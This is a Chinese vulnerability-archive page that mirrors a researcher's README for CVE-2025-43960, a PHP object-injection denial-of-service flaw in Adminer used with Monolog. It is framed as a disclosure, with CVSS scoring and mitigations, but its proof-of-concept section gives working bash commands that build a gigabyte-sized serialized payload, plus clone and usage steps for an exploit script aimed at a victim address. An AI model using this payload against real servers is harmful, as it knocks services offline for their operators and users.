目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2025-43960 PoC — Adminer 安全漏洞

来源
关联漏洞
标题: Adminer 安全漏洞 (CVE-2025-43960)
Description:Adminer是Adminer开源的一个 WordPress 插件。允许 WordPress 管理员快速进行数据库管理。 Adminer 4.8.1版本存在安全漏洞,该漏洞源于使用Monolog记录日志时处理特制序列化有效载荷不当,可能导致PHP对象注入和拒绝服务攻击。
Description
CVE-2025-43960 - PHP Object Injection en Adminer < 4.8.1 con Monolog (DoS)
介绍
# CVE-2025-43960 - PHP Object Injection in Adminer < 4.8.1 via Monolog - Denial of Service (DoS)

# Summary
This vulnerability allows remote, unauthenticated attackers to exploit Adminer 4.8.1 instances using Monolog, causing Denial of Service (DoS) through PHP Object Injection.
The attack vector requires no authentication or user interaction, making it a high-severity issue (CVSS 7.5) with potential to escalate to 8.6 in certain shared environments.

https://github.com/user-attachments/assets/78c285de-9478-4e9c-a8a2-1f8da918ef9e

## Suggested description
Adminer 4.8.1, when using Monolog for logging, allows a denial of service (memory consumption) via a crafted serialized payload such as one with an `s:1000000000` string, aka a PHP Object Injection issue. The vulnerability affects Adminer instances using Monolog for logging, where untrusted user input is deserialized without proper validation.
By sending a large deserialized object, an attacker can force high memory consumption, making the Adminer interface unresponsive and causing a server-wide DoS.

- While the server may recover after several minutes, multiple concurrent requests can cause a complete crash, requiring manual intervention to restore service.

### CVSS Score v3.1

**Base Score:** 7.5 (High)  
**Vector:** `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

**Note on specific deployments:**  
> If crashing Adminer also disrupts other services/tenants (e.g., container or shared process), **Scope: Changed** may apply:  
> - **Vector:** `AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H`  
> - **Score:** 8.6 (High)  

## Additional Information

### Potential Mitigation Measures
- Avoid using `unserialize()` on untrusted data within Adminer and Monolog.
- Enforce memory limits (`memory_limit`) in PHP to prevent excessive resource consumption.
- Use `allowed_classes` in `unserialize()` to restrict deserialization of unauthorized classes.

## Vendor of Product
- Adminer

## Affected Product Code Base
- Adminer `< 4.8.1` (latest stable release at the time of testing)

## Affected Component
- Monolog integration in Adminer

### Problematic feature
- PHP Object Injection via `unserialize()`

### Potential affected area
- Any Adminer instance where Monolog-based logging is used

# Proof of Concept (PoC)

**Payload generation:**

```bash
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
```

```bash
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
   s:9:"*socket";r:2;
   s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
 }' > payload.txt
```

Impact:
- The server enters a loading state, making Adminer inaccessible.
- The frontend disappears completely while the connection is active.
- When the attack stops, the server recovers after a few minutes unless multiple machines are used (DDoS scenario).

# Installation Requirements
- Python: Make sure you have Python 3.x installed. You can check this by running python3 --version in your terminal.

## Python Dependencies
- Flask: Used to run the local HTTP server that serves the payload.
- requests: Used to interact with the target application during the exploit process.

### Install
```
git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960 
pip install -r requirement.txt
python3 cve-2025-43960.py
```

## Usage:
```
python3 cve-2025-43960.py 

Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
```

### References

- https://www.adminer.org
- https://github.com/vrana/adminer
- https://github.com/Seldaek/monolog
- https://www.cvedetails.com/product/44183/Adminer-Adminer.html?vendor_id=17755
- https://cwe.mitre.org/data/definitions/502.html
- https://cwe.mitre.org/data/definitions/400.html
- https://cwe.mitre.org/data/definitions/789.html

### Discoverer
Fabian Rosales (@far00t01)
[Medium](https://https://medium.com/@far00t01/).

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →